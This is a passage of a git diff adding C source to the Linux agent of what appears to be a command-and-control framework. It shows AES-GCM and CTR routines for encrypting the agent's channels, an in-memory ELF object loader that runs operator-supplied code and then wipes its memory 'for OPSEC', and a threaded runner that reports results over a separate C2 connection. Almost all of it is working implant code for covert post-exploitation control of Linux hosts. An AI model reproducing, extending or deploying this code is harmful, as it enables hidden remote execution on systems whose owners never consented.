aes128_ctr_init(aes128_ctr_ctx_t* ctx, const uint8_t* key, const uint8_t* iv) { + aes128_key_expand(key, ctx->round_keys); + for (int i = 0; i < 16; i++) ctx->counter[i] = iv[i]; + ctx->ks_offset = 16; + for (int i = 0; i < 16; i++) ctx->keystream[i] = 0; +} + +void aes128_ctr_process(aes128_ctr_ctx_t* ctx, + const uint8_t* in, uint8_t* out, size_t len) { + size_t pos = 0; + while (pos < len && ctx->ks_offset < 16) { + out[pos] = in[pos] ^ ctx->keystream[ctx->ks_offset]; + ctx->ks_offset++; + pos++; + } + while (pos + 16 <= len) { + aes128_encrypt_block(ctx->counter, ctx->keystream, ctx->round_keys); + inc32(ctx->counter); + for (int i = 0; i < 16; i++) + out[pos + i] = in[pos + i] ^ ctx->keystream[i]; + pos += 16; + } + if (pos < len) { + aes128_encrypt_block(ctx->counter, ctx->keystream, ctx->round_keys); + inc32(ctx->counter); + ctx->ks_offset = 0; + while (pos < len) { + out[pos] = in[pos] ^ ctx->keystream[ctx->ks_offset]; + ctx->ks_offset++; + pos++; + } + } +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.h new file mode 100644 index 000000000..0cda22042 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.h @@ -0,0 +1,55 @@ +#ifndef CRYPT_H +#define CRYPT_H + +#include +#include + +/// AES-128-GCM encryption/decryption +/// Format: [nonce 12 bytes][ciphertext][tag 16 bytes] +/// Key: 16 bytes (AES-128) +/// Matches Go's crypto/aes + cipher.NewGCM with 16-byte key + +#define AES_KEY_SIZE 16 +#define AES_BLOCK_SIZE 16 +#define GCM_NONCE_SIZE 12 +#define GCM_TAG_SIZE 16 + +/// Encrypt plaintext with AES-128-GCM. +/// Allocates output buffer [nonce][ciphertext][tag]. +/// Returns output and sets *out_len. Caller must free output. +uint8_t *aes128_gcm_encrypt(const uint8_t *plaintext, size_t plaintext_len, + const uint8_t *key, + size_t *out_len); + +/// Decrypt AES-128-GCM ciphertext. +/// Input format: [nonce 12B][ciphertext][tag 16B]. +/// Returns plaintext and sets *out_len. Caller must free output. +/// Returns NULL on authentication failure. +uint8_t *aes128_gcm_decrypt(const uint8_t *data, size_t data_len, + const uint8_t *key, + size_t *out_len); + +/// Expand AES-128 key into round keys (176 bytes) +void aes128_expand_key(const uint8_t *key, uint8_t *round_keys); + +/// AES-128-CTR for tunnel/terminal streaming +/// Key: 16 bytes, IV: 16 bytes (used as initial counter) + +/// CTR stream context -- preserves partial keystream between calls. +/// This matches Go's cipher.NewCTR behavior where partial blocks +/// are carried across calls. +typedef struct { + uint8_t round_keys[176]; + uint8_t counter[16]; + uint8_t keystream[16]; /* cached keystream block */ + uint8_t ks_offset; /* how many bytes used in current keystream (0-16) */ +} aes128_ctr_ctx_t; + +/// Initialize CTR context with key and IV +void aes128_ctr_init(aes128_ctr_ctx_t *ctx, const uint8_t *key, const uint8_t *iv); + +/// Process data with CTR stream (preserves partial block state) +void aes128_ctr_process(aes128_ctr_ctx_t *ctx, + const uint8_t *in, uint8_t *out, size_t len); + +#endif /* CRYPT_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.c new file mode 100644 index 000000000..422c00fa6 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.c @@ -0,0 +1,1060 @@ +/// elf_bof.c — ELF BOF Loader for Linux Agent +/// In-memory loader for ELF relocatable objects (.o files compiled with gcc -c) +/// Supports x86_64 and ARM64 relocations +/// OPSEC: mmap(RW) → mprotect per-section → execute → zero → munmap + +#include "elf_bof.h" +#include "crt.h" +#include "types.h" +#include "msgpack.h" +#include "jobs.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// mprotect constants +#define PROT_NONE 0x0 +#define PROT_READ 0x1 +#define PROT_WRITE 0x2 +#define PROT_EXEC 0x4 +#define MAP_PRIVATE 0x02 +#define MAP_ANONYMOUS 0x20 +#define MAP_FAILED ((void *)-1) + +/// External BOF API functions (from bof_api.c) +extern void bof_output_init(void); +extern void bof_output_cleanup(void); +extern const char *bof_output_get(int *out_len); +extern int bof_output_get_error(void); +extern void *bof_resolve_symbol(const char *name); +extern void bof_set_async_ctx(void *ctx, int stop_fd); +extern void bof_clear_async_ctx(void); + +/// ──────────────────────────────────────────────────────────────────────────── +/// Internal structures +/// ──────────────────────────────────────────────────────────────────────────── + +/// Loaded section descriptor +typedef struct { + void *base; // pointer within the contiguous arena + size_t size; // allocated size (page-aligned) + size_t raw_size; // original section size + uint32_t flags; // ELF section flags (SHF_*) + int shndx; // original section index in ELF +} loaded_section_t; + +/// Contiguous memory arena for all BOF sections + trampolines. +/// All sections are allocated within a single mmap to guarantee PC-relative +/// relocations (R_X86_64_PC32, R_X86_64_PLT32) stay within ±2 GB range. +typedef struct { + void *base; // single mmap base + size_t total_size; // total mmap'd size + void *trampoline; // pointer to trampoline area within arena + int tramp_count; // number of trampolines written +} bof_arena_t; + +/// Resolved symbol value +typedef struct { + uint64_t value; // resolved address + int section; // section index (-1 if external) + int resolved; // 1 if resolved +} sym_value_t; + +/// BOF entry function type +typedef void (*bof_entry_t)(char *args, int args_len); + +/// ──────────────────────────────────────────────────────────────────────────── +/// Page alignment +/// ──────────────────────────────────────────────────────────────────────────── + +static inline size_t page_align(size_t size) { + return (size + 4095) & ~(size_t)4095; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Validate ELF header +/// ──────────────────────────────────────────────────────────────────────────── + +static int validate_elf(const Elf64_Ehdr *ehdr, uint32_t file_size) { + // Check magic + if (ehdr->e_ident[0] != ELFMAG0 || ehdr->e_ident[1] != ELFMAG1 || + ehdr->e_ident[2] != ELFMAG2 || ehdr->e_ident[3] != ELFMAG3) + return -1; + + // Check 64-bit little-endian + if (ehdr->e_ident[4] != ELFCLASS64 || ehdr->e_ident[5] != ELFDATA2LSB) + return -1; + + // Must be relocatable object (ET_REL) + if (ehdr->e_type != ET_REL) + return -1; + + // Check machine type matches our build +#ifdef ARCH_X86_64 + if (ehdr->e_machine != EM_X86_64) + return -1; +#endif +#ifdef ARCH_AARCH64 + if (ehdr->e_machine != EM_AARCH64) + return -1; +#endif + + // Bounds check section header table + if (ehdr->e_shoff == 0 || ehdr->e_shnum == 0) + return -1; + if (ehdr->e_shoff + (uint64_t)ehdr->e_shnum * ehdr->e_shentsize > file_size) + return -1; + + return 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Allocate sections — single contiguous mmap for all SHF_ALLOC sections +/// This guarantees all inter-section PC-relative relocations (R_X86_64_PC32, +/// R_X86_64_PLT32, ARM64 CALL26/JUMP26) fit within ±2 GB / ±128 MB range. +/// A trampoline area is appended for external function calls. +/// ──────────────────────────────────────────────────────────────────────────── + +/// Max trampolines (one per unique external symbol reference) +#define BOF_MAX_TRAMPOLINES 128 + +/// Trampoline stub sizes +#ifdef ARCH_X86_64 +#define TRAMPOLINE_SIZE 14 // FF 25 00 00 00 00 [8-byte addr] = jmp [rip+0] +#endif +#ifdef ARCH_AARCH64 +#define TRAMPOLINE_SIZE 16 // ldr x16, [pc+8]; br x16; .quad addr +#endif + +static int allocate_sections(const uint8_t *elf_data, const Elf64_Ehdr *ehdr, + const Elf64_Shdr *shdrs, + loaded_section_t *sections, int *num_sections, + bof_arena_t *arena) { + *num_sections = 0; + arena->base = (void *)0; + arena->total_size = 0; + arena->trampoline = (void *)0; + arena->tramp_count = 0; + + // ── Pass 1: compute total size needed ── + // Each section is page-aligned so mprotect per-section doesn't conflict + size_t total = 0; + for (int i = 0; i < ehdr->e_shnum; i++) { + const Elf64_Shdr *shdr = &shdrs[i]; + if (!(shdr->sh_flags & SHF_ALLOC)) + continue; + total = page_align(total); // page-align each section start + total += shdr->sh_size > 0 ? shdr->sh_size : 16; + } + // Trampoline area (page-aligned start, enough for max trampolines) + total = page_align(total); + size_t tramp_offset = total; + total += page_align(BOF_MAX_TRAMPOLINES * TRAMPOLINE_SIZE); + + // ── Pass 2: single mmap ── + size_t mmap_size = page_align(total); + void *base = sys_mmap((void *)0, mmap_size, + PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (base == MAP_FAILED) + return -1; + + ax_memset(base, 0, mmap_size); + arena->base = base; + arena->total_size = mmap_size; + arena->trampoline = (uint8_t *)base + tramp_offset; + arena->tramp_count = 0; + + // ── Pass 3: lay out sections within the arena (page-aligned) ── + size_t offset = 0; + for (int i = 0; i < ehdr->e_shnum && *num_sections < BOF_MAX_SECTIONS; i++) { + const Elf64_Shdr *shdr = &shdrs[i]; + if (!(shdr->sh_flags & SHF_ALLOC)) + continue; + + offset = page_align(offset); // page-align each section + + size_t sec_size = shdr->sh_size > 0 ? shdr->sh_size : 16; + void *sec_base = (uint8_t *)base + offset; + + // Copy section data (SHT_NOBITS sections like .bss are zero-filled already) + if (shdr->sh_type != SHT_NOBITS && shdr->sh_size > 0) { + ax_memcpy(sec_base, elf_data + shdr->sh_offset, shdr->sh_size); + } + + loaded_section_t *ls = §ions[*num_sections]; + ls->base = sec_base; + ls->size = sec_size; + ls->raw_size = shdr->sh_size; + ls->flags = (uint32_t)shdr->sh_flags; + ls->shndx = i; + (*num_sections)++; + + offset += sec_size; + } + + return 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Write a trampoline stub for an external function, returns stub address +/// ──────────────────────────────────────────────────────────────────────────── + +static void *write_trampoline(bof_arena_t *arena, uint64_t target_addr) { + if (arena->tramp_count >= BOF_MAX_TRAMPOLINES) + return (void *)0; + + uint8_t *stub = (uint8_t *)arena->trampoline + (arena->tramp_count * TRAMPOLINE_SIZE); + arena->tramp_count++; + +#ifdef ARCH_X86_64 + // jmp [rip+0] ; .quad target_addr + // FF 25 00 00 00 00 xx xx xx xx xx xx xx xx + stub[0] = 0xFF; + stub[1] = 0x25; + stub[2] = 0x00; + stub[3] = 0x00; + stub[4] = 0x00; + stub[5] = 0x00; + ax_memcpy(stub + 6, &target_addr, 8); +#endif + +#ifdef ARCH_AARCH64 + // ldr x16, #8 → 58000050 + // br x16 → D61F0200 + // .quad target_addr + uint32_t ldr_insn = 0x58000050; // ldr x16, pc+8 + uint32_t br_insn = 0xD61F0200; // br x16 + ax_memcpy(stub + 0, &ldr_insn, 4); + ax_memcpy(stub + 4, &br_insn, 4); + ax_memcpy(stub + 8, &target_addr, 8); +#endif + + return (void *)stub; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Find loaded section by ELF section index +/// ──────────────────────────────────────────────────────────────────────────── + +static loaded_section_t *find_loaded_section(loaded_section_t *sections, int num_sections, int shndx) { + for (int i = 0; i < num_sections; i++) { + if (sections[i].shndx == shndx) + return §ions[i]; + } + return (loaded_section_t *)0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Resolve all symbols +/// ──────────────────────────────────────────────────────────────────────────── + +static int resolve_symbols(const Elf64_Sym *symtab, int num_syms, + const char *strtab, + loaded_section_t *sections, int num_sections, + sym_value_t *sym_values, bof_arena_t *arena, + char *err_symbol, int err_symbol_size) { + for (int i = 0; i < num_syms; i++) { + const Elf64_Sym *sym = &symtab[i]; + sym_values[i].resolved = 0; + sym_values[i].value = 0; + sym_values[i].section = -1; + + // STT_SECTION symbols — point to the loaded section base + if (ELF64_ST_TYPE(sym->st_info) == 3 /* STT_SECTION */) { + loaded_section_t *ls = find_loaded_section(sections, num_sections, sym->st_shndx); + if (ls) { + sym_values[i].value = (uint64_t)(uintptr_t)ls->base; + sym_values[i].section = sym->st_shndx; + sym_values[i].resolved = 1; + } + continue; + } + + // Defined symbols (st_shndx != SHN_UNDEF) + if (sym->st_shndx != SHN_UNDEF) { + loaded_section_t *ls = find_loaded_section(sections, num_sections, sym->st_shndx); + if (ls) { + sym_values[i].value = (uint64_t)(uintptr_t)ls->base + sym->st_value; + sym_values[i].section = sym->st_shndx; + sym_values[i].resolved = 1; + } + continue; + } + + // Undefined symbol — must be a BOF API function + const char *name = strtab + sym->st_name; + if (sym->st_name == 0 || name[0] == '\0') { + // Empty name for symbol 0 — skip + sym_values[i].resolved = 1; + continue; + } + + void *func = bof_resolve_symbol(name); + if (func) { + // External function: create a trampoline stub within the arena + // so that PC-relative relocations (R_X86_64_PLT32, ARM64 CALL26) + // can reach it within ±2 GB / ±128 MB range + void *tramp = write_trampoline(arena, (uint64_t)(uintptr_t)func); + if (tramp) { + sym_values[i].value = (uint64_t)(uintptr_t)tramp; + } else { + // Fallback: use direct address (may overflow for PLT32/CALL26 + // but works for R_X86_64_64/R_AARCH64_ABS64) + sym_values[i].value = (uint64_t)(uintptr_t)func; + } + sym_values[i].section = -1; // external + sym_values[i].resolved = 1; + } else { + // Weak symbols are allowed to be unresolved (value = 0) + if (ELF64_ST_BIND(sym->st_info) == STB_WEAK) { + sym_values[i].value = 0; + sym_values[i].resolved = 1; + } else { + // Fatal: unresolved symbol + ax_strncpy(err_symbol, name, err_symbol_size - 1); + err_symbol[err_symbol_size - 1] = '\0'; + return -1; + } + } + } + + return 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Apply relocations — x86_64 +/// ──────────────────────────────────────────────────────────────────────────── + +#ifdef ARCH_X86_64 +static int apply_relocations_x64(const Elf64_Rela *relas, int num_relas, + sym_value_t *sym_values, + loaded_section_t *target_section) { + for (int i = 0; i < num_relas; i++) { + const Elf64_Rela *rela = &relas[i]; + uint32_t sym_idx = (uint32_t)ELF64_R_SYM(rela->r_info); + uint32_t type = (uint32_t)ELF64_R_TYPE(rela->r_info); + + if (!sym_values[sym_idx].resolved) + return -1; + + uint64_t S = sym_values[sym_idx].value; + int64_t A = rela->r_addend; + uint8_t *P = (uint8_t *)target_section->base + rela->r_offset; + + switch (type) { + case R_X86_64_64: + *(uint64_t *)P = S + A; + break; + + case R_X86_64_PC32: + case R_X86_64_PLT32: { + int64_t val = (int64_t)S + A - (int64_t)(uintptr_t)P; + *(int32_t *)P = (int32_t)val; + break; + } + + case R_X86_64_32: + *(uint32_t *)P = (uint32_t)(S + A); + break; + + case R_X86_64_32S: + *(int32_t *)P = (int32_t)(S + A); + break; + + default: + // Unsupported relocation type — skip (non-fatal) + break; + } + } + return 0; +} +#endif + +/// ──────────────────────────────────────────────────────────────────────────── +/// Apply relocations — ARM64 (AArch64) +/// ──────────────────────────────────────────────────────────────────────────── + +#ifdef ARCH_AARCH64 +static int apply_relocations_arm64(const Elf64_Rela *relas, int num_relas, + sym_value_t *sym_values, + loaded_section_t *target_section) { + for (int i = 0; i < num_relas; i++) { + const Elf64_Rela *rela = &relas[i]; + uint32_t sym_idx = (uint32_t)ELF64_R_SYM(rela->r_info); + uint32_t type = (uint32_t)ELF64_R_TYPE(rela->r_info); + + if (!sym_values[sym_idx].resolved) + return -1; + + uint64_t S = sym_values[sym_idx].value; + int64_t A = rela->r_addend; + uint8_t *P = (uint8_t *)target_section->base + rela->r_offset; + + switch (type) { + case R_AARCH64_ABS64: + *(uint64_t *)P = S + A; + break; + + case R_AARCH64_CALL26: + case R_AARCH64_JUMP26: { + int64_t offset = ((int64_t)S + A - (int64_t)(uintptr_t)P) >> 2; + uint32_t *insn = (uint32_t *)P; + *insn = (*insn & 0xFC000000) | (offset & 0x3FFFFFF); + break; + } + + case R_AARCH64_ADR_PREL_PG_HI21: { + int64_t page_s = ((int64_t)S + A) & ~0xFFFLL; + int64_t page_p = (int64_t)(uintptr_t)P & ~0xFFFLL; + int64_t offset = page_s - page_p; + uint32_t immlo = ((offset >> 12) & 0x3) << 29; + uint32_t immhi = ((offset >> 14) & 0x7FFFF) << 5; + uint32_t *insn = (uint32_t *)P; + *insn = (*insn & 0x9F00001F) | immlo | immhi; + break; + } + + case R_AARCH64_ADD_ABS_LO12_NC: + case R_AARCH64_LDST8_ABS_LO12_NC: { + uint64_t val = (S + A) & 0xFFF; + uint32_t *insn = (uint32_t *)P; + *insn = (*insn & 0xFFC003FF) | ((val & 0xFFF) << 10); + break; + } + + case R_AARCH64_LDST16_ABS_LO12_NC: { + uint64_t val = ((S + A) & 0xFFF) >> 1; + uint32_t *insn = (uint32_t *)P; + *insn = (*insn & 0xFFC003FF) | ((val & 0xFFF) << 10); + break; + } + + case R_AARCH64_LDST32_ABS_LO12_NC: { + uint64_t val = ((S + A) & 0xFFF) >> 2; + uint32_t *insn = (uint32_t *)P; + *insn = (*insn & 0xFFC003FF) | ((val & 0xFFF) << 10); + break; + } + + case R_AARCH64_LDST64_ABS_LO12_NC: { + uint64_t val = ((S + A) & 0xFFF) >> 3; + uint32_t *insn = (uint32_t *)P; + *insn = (*insn & 0xFFC003FF) | ((val & 0xFFF) << 10); + break; + } + + case R_AARCH64_LDST128_ABS_LO12_NC: { + uint64_t val = ((S + A) & 0xFFF) >> 4; + uint32_t *insn = (uint32_t *)P; + *insn = (*insn & 0xFFC003FF) | ((val & 0xFFF) << 10); + break; + } + + default: + // Unsupported relocation type — skip + break; + } + } + return 0; +} +#endif + +/// ──────────────────────────────────────────────────────────────────────────── +/// Apply protections — per-section mprotect +/// ──────────────────────────────────────────────────────────────────────────── + +static int protect_sections(loaded_section_t *sections, int num_sections, + bof_arena_t *arena) { + // Protect per-section: mprotect requires page-aligned addresses and sizes. + // Since sections within the arena may share pages, we use page-aligned ranges. + for (int i = 0; i < num_sections; i++) { + int prot; + if (sections[i].flags & SHF_EXECINSTR) { + prot = PROT_READ | PROT_EXEC; + } else if (sections[i].flags & SHF_WRITE) { + prot = PROT_READ | PROT_WRITE; + } else { + prot = PROT_READ; + } + // Page-align the section start and size for mprotect + uintptr_t sec_start = (uintptr_t)sections[i].base; + uintptr_t page_start = sec_start & ~(uintptr_t)4095; + size_t prot_size = page_align((sec_start - page_start) + sections[i].size); + if (sys_mprotect((void *)page_start, prot_size, prot) != 0) + return -1; + } + + // Protect trampoline area as RX (it contains executable stubs) + if (arena->tramp_count > 0 && arena->trampoline) { + uintptr_t tramp_start = (uintptr_t)arena->trampoline; + uintptr_t page_start = tramp_start & ~(uintptr_t)4095; + size_t tramp_used = (size_t)arena->tramp_count * TRAMPOLINE_SIZE; + size_t prot_size = page_align((tramp_start - page_start) + tramp_used); + if (sys_mprotect((void *)page_start, prot_size, PROT_READ | PROT_EXEC) != 0) + return -1; + } + +#ifdef ARCH_AARCH64 + // Flush instruction cache (mandatory on ARM64 after mprotect → RX) + for (int i = 0; i < num_sections; i++) { + if (sections[i].flags & SHF_EXECINSTR) { + uint8_t *start = (uint8_t *)sections[i].base; + uint8_t *end = start + sections[i].raw_size; + for (uint8_t *p = start; p < end; p += 64) { + __asm__ volatile("dc cvau, %0" :: "r"(p) : "memory"); + } + __asm__ volatile("dsb ish" ::: "memory"); + for (uint8_t *p = start; p < end; p += 64) { + __asm__ volatile("ic ivau, %0" :: "r"(p) : "memory"); + } + __asm__ volatile("dsb ish\n\tisb" ::: "memory"); + } + } + // Also flush trampoline area icache + if (arena->tramp_count > 0 && arena->trampoline) { + uint8_t *start = (uint8_t *)arena->trampoline; + uint8_t *end = start + (arena->tramp_count * TRAMPOLINE_SIZE); + for (uint8_t *p = start; p < end; p += 64) { + __asm__ volatile("dc cvau, %0" :: "r"(p) : "memory"); + } + __asm__ volatile("dsb ish" ::: "memory"); + for (uint8_t *p = start; p < end; p += 64) { + __asm__ volatile("ic ivau, %0" :: "r"(p) : "memory"); + } + __asm__ volatile("dsb ish\n\tisb" ::: "memory"); + } +#endif + + return 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Cleanup — revert arena to RW, zero, single munmap +/// ──────────────────────────────────────────────────────────────────────────── + +static void cleanup_arena(bof_arena_t *arena) { + if (arena->base && arena->total_size > 0) { + // Revert entire arena to RW for zeroing + sys_mprotect(arena->base, arena->total_size, PROT_READ | PROT_WRITE); + // OPSEC: Zero all memory + volatile uint8_t *p = (volatile uint8_t *)arena->base; + for (size_t j = 0; j < arena->total_size; j++) + p[j] = 0; + // Release memory + sys_munmap(arena->base, arena->total_size); + arena->base = (void *)0; + arena->total_size = 0; + } +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Find entry point symbol ("go" function) +/// ──────────────────────────────────────────────────────────────────────────── + +static bof_entry_t find_entry(const char *entry_name, + const Elf64_Sym *symtab, int num_syms, + const char *strtab, + sym_value_t *sym_values) { + for (int i = 0; i < num_syms; i++) { + if (symtab[i].st_shndx == SHN_UNDEF) + continue; + const char *name = strtab + symtab[i].st_name; + if (ax_strcmp(name, entry_name) == 0 && sym_values[i].resolved) { + return (bof_entry_t)(uintptr_t)sym_values[i].value; + } + } + return (bof_entry_t)0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Write BOF error response to msgpack +/// ──────────────────────────────────────────────────────────────────────────── + +static void bof_error_response(mp_writer_t *response, int error_code, const char *message) { + mp_write_map(response, 2); + mp_write_kv_int(response, "type", error_code); + mp_write_kv_str(response, "output", message ? message : ""); +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Write BOF success response to msgpack +/// ──────────────────────────────────────────────────────────────────────────── + +static void bof_success_response(mp_writer_t *response, const char *output) { + mp_write_map(response, 2); + mp_write_kv_int(response, "type", 0x20); // CALLBACK_OUTPUT_UTF8 + mp_write_kv_str(response, "output", output ? output : ""); +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Core ELF BOF execute +/// ──────────────────────────────────────────────────────────────────────────── + +static int elf_bof_execute(const uint8_t *elf_data, uint32_t elf_size, + const uint8_t *args, uint32_t args_size, + const char *entry_name, + mp_writer_t *response) { + loaded_section_t sections[BOF_MAX_SECTIONS]; + int num_sections = 0; + bof_arena_t arena; + arena.base = (void *)0; + arena.total_size = 0; + + // ── Step 1: Validate ELF header ── + if (elf_size < sizeof(Elf64_Ehdr)) { + bof_error_response(response, BOF_ERR_PARSE, "ELF file too small"); + return -1; + } + + const Elf64_Ehdr *ehdr = (const Elf64_Ehdr *)elf_data; + if (validate_elf(ehdr, elf_size) != 0) { + bof_error_response(response, BOF_ERR_PARSE, "Invalid ELF header"); + return -1; + } + + // ── Step 2: Parse section headers ── + const Elf64_Shdr *shdrs = (const Elf64_Shdr *)(elf_data + ehdr->e_shoff); + + // Find .symtab, .strtab, and section name string table + const Elf64_Sym *symtab = (const Elf64_Sym *)0; + const char *strtab = (const char *)0; + int num_syms = 0; + + for (int i = 0; i < ehdr->e_shnum; i++) { + if (shdrs[i].sh_type == SHT_SYMTAB) { + symtab = (const Elf64_Sym *)(elf_data + shdrs[i].sh_offset); + num_syms = (int)(shdrs[i].sh_size / shdrs[i].sh_entsize); + // strtab is linked via sh_link + int strtab_idx = (int)shdrs[i].sh_link; + if (strtab_idx < ehdr->e_shnum) { + strtab = (const char *)(elf_data + shdrs[strtab_idx].sh_offset); + } + break; + } + } + + if (!symtab || !strtab || num_syms == 0) { + bof_error_response(response, BOF_ERR_PARSE, "No symbol table found"); + return -1; + } + + // ── Step 3: Allocate all sections in a single contiguous mmap ── + if (allocate_sections(elf_data, ehdr, shdrs, sections, &num_sections, &arena) != 0) { + cleanup_arena(&arena); + bof_error_response(response, BOF_ERR_ALLOC, "Failed to allocate sections"); + return -1; + } + + // ── Step 4: Resolve symbols (creates trampolines for external functions) ── + sym_value_t *sym_values = (sym_value_t *)ax_malloc(num_syms * sizeof(sym_value_t)); + if (!sym_values) { + cleanup_arena(&arena); + bof_error_response(response, BOF_ERR_ALLOC, "Failed to allocate symbol table"); + return -1; + } + ax_memset(sym_values, 0, num_syms * sizeof(sym_value_t)); + + char err_symbol[128]; + err_symbol[0] = '\0'; + if (resolve_symbols(symtab, num_syms, strtab, sections, num_sections, + sym_values, &arena, err_symbol, sizeof(err_symbol)) != 0) { + ax_free(sym_values); + cleanup_arena(&arena); + bof_error_response(response, BOF_ERR_SYMBOL, err_symbol); + return -1; + } + + // ── Step 5: Apply relocations ── + for (int i = 0; i < ehdr->e_shnum; i++) { + if (shdrs[i].sh_type != SHT_RELA) + continue; + + // sh_info points to the section being relocated + int target_shndx = (int)shdrs[i].sh_info; + loaded_section_t *target = find_loaded_section(sections, num_sections, target_shndx); + if (!target) + continue; // relocs for non-loaded section — skip + + const Elf64_Rela *relas = (const Elf64_Rela *)(elf_data + shdrs[i].sh_offset); + int num_relas = (int)(shdrs[i].sh_size / sizeof(Elf64_Rela)); + + int ret; +#ifdef ARCH_X86_64 + ret = apply_relocations_x64(relas, num_relas, sym_values, target); +#endif +#ifdef ARCH_AARCH64 + ret = apply_relocations_arm64(relas, num_relas, sym_values, target); +#endif + if (ret != 0) { + ax_free(sym_values); + cleanup_arena(&arena); + bof_error_response(response, BOF_ERR_RELOC, "Relocation failed"); + return -1; + } + } + + // ── Step 6: Protect sections (per-section mprotect + trampoline area) ── + if (protect_sections(sections, num_sections, &arena) != 0) { + ax_free(sym_values); + cleanup_arena(&arena); + bof_error_response(response, BOF_ERR_ALLOC, "mprotect failed"); + return -1; + } + + // ── Step 7: Find entry point ── + bof_entry_t entry = find_entry(entry_name, symtab, num_syms, strtab, sym_values); + if (!entry) { + ax_free(sym_values); + cleanup_arena(&arena); + bof_error_response(response, BOF_ERR_ENTRY, "Entry function not found"); + return -1; + } + + // ── Step 8: Initialize BOF output, execute, collect output ── + bof_output_init(); + + entry((char *)args, (int)args_size); + + // Collect output + int output_len = 0; + const char *output = bof_output_get(&output_len); + int error_type = bof_output_get_error(); + + // Write response + if (error_type != 0) { + bof_error_response(response, error_type, output); + } else if (output_len > 0) { + bof_success_response(response, output); + } else { + // No output — empty success + bof_success_response(response, "(no output)"); + } + + bof_output_cleanup(); + + // ── Step 9: Cleanup — zero and release arena ── + ax_free(sym_values); + cleanup_arena(&arena); + + return 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Public API: task_exec_bof — called from commander.c +/// Parses msgpack command data, dispatches to elf_bof_execute +/// ──────────────────────────────────────────────────────────────────────────── + +int task_exec_bof(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *response) { + // Parse msgpack: {content: bytes, args: bytes, entry_func: string} + mp_reader_t reader; + mp_reader_init(&reader, data, data_len); + + uint32_t map_count = 0; + if (mp_read_map(&reader, &map_count) != 0 || map_count < 1) { + bof_error_response(response, BOF_ERR_PARSE, "Invalid BOF command data"); + return 0; + } + + const uint8_t *bof_content = (const uint8_t *)0; + uint32_t bof_size = 0; + const uint8_t *args = (const uint8_t *)0; + uint32_t args_size = 0; + const char *entry_func = "go"; + uint32_t entry_func_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; + uint32_t key_len; + if (mp_read_str(&reader, &key, &key_len) != 0) { + mp_skip(&reader); + mp_skip(&reader); + continue; + } + + if (key_len == 7 && ax_strncmp(key, "content", 7) == 0) { + mp_read_bin(&reader, &bof_content, &bof_size); + } else if (key_len == 4 && ax_strncmp(key, "args", 4) == 0) { + mp_read_bin(&reader, &args, &args_size); + } else if (key_len == 10 && ax_strncmp(key, "entry_func", 10) == 0) { + mp_read_str(&reader, &entry_func, &entry_func_len); + } else { + mp_skip(&reader); + } + } + + if (!bof_content || bof_size == 0) { + bof_error_response(response, BOF_ERR_PARSE, "No BOF content"); + return 0; + } + + // Make entry_func a proper null-terminated string if needed + char entry_name[64]; + if (entry_func_len > 0 && entry_func_len < sizeof(entry_name)) { + ax_memcpy(entry_name, entry_func, entry_func_len); + entry_name[entry_func_len] = '\0'; + } else { + ax_strcpy(entry_name, "go"); + } + + elf_bof_execute(bof_content, bof_size, args, args_size, entry_name, response); + + return 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Async BOF — background thread with separate C2 connection +/// ──────────────────────────────────────────────────────────────────────────── + +typedef struct { + uint8_t *bof_data; // deep copy of ELF .o + uint32_t bof_size; + uint8_t *args_data; // deep copy of args + uint32_t args_size; + char entry_name[64]; // "go" or custom + char job_id[64]; // task ID for job tracking + int job_idx; // index in g_job_ctx.jobs[] + int stop_pipe[2]; // pipe for cooperative stop (write=signal, read=poll) +} async_bof_arg_t; + +/// Send BOF output over the job's C2 connection +static void async_bof_send_output(connector_t *conn, const char *job_id, + int output_type, const char *output, int output_len) { + // Build inner data: {type: int, output: string} + mp_writer_t data_w; + mp_writer_init(&data_w, 64 + output_len); + mp_write_map(&data_w, 2); + mp_write_kv_int(&data_w, "type", output_type); + if (output && output_len > 0) { + mp_write_str(&data_w, "output", 6); + mp_write_str(&data_w, output, output_len); + } else { + mp_write_kv_str(&data_w, "output", ""); + } + + jobs_send_message(&g_job_ctx, conn, COMMAND_EXEC_BOF_OUT, job_id, + data_w.buf.data, (uint32_t)data_w.buf.len); + mp_writer_free(&data_w); +} + +/// Worker thread for async BOF execution +static void *async_bof_thread(void *param) { + async_bof_arg_t *arg = (async_bof_arg_t *)param; + job_entry_t *job = &g_job_ctx.jobs[arg->job_idx]; + + // Open separate C2 connection for this BOF + if (jobs_open_connection(&g_job_ctx, &job->conn) != 0) { + // Connection failed — report error and cleanup + job->active = 0; + goto CLEANUP; + } + + // Send init pack for BOF type + { + mp_writer_t init_w; + mp_writer_init(&init_w, 64); + mp_write_map(&init_w, 1); + mp_write_kv_str(&init_w, "job_id", arg->job_id); + jobs_send_init(&g_job_ctx, &job->conn, BOF_PACK, init_w.buf.data, (uint32_t)init_w.buf.len); + mp_writer_free(&init_w); + } + + // Execute the ELF BOF synchronously within this thread + { + // Set async context so BeaconGetStopJobEvent() returns the stop pipe fd + bof_set_async_ctx(arg, arg->stop_pipe[0]); + + mp_writer_t bof_response; + mp_writer_init(&bof_response, 4096); + 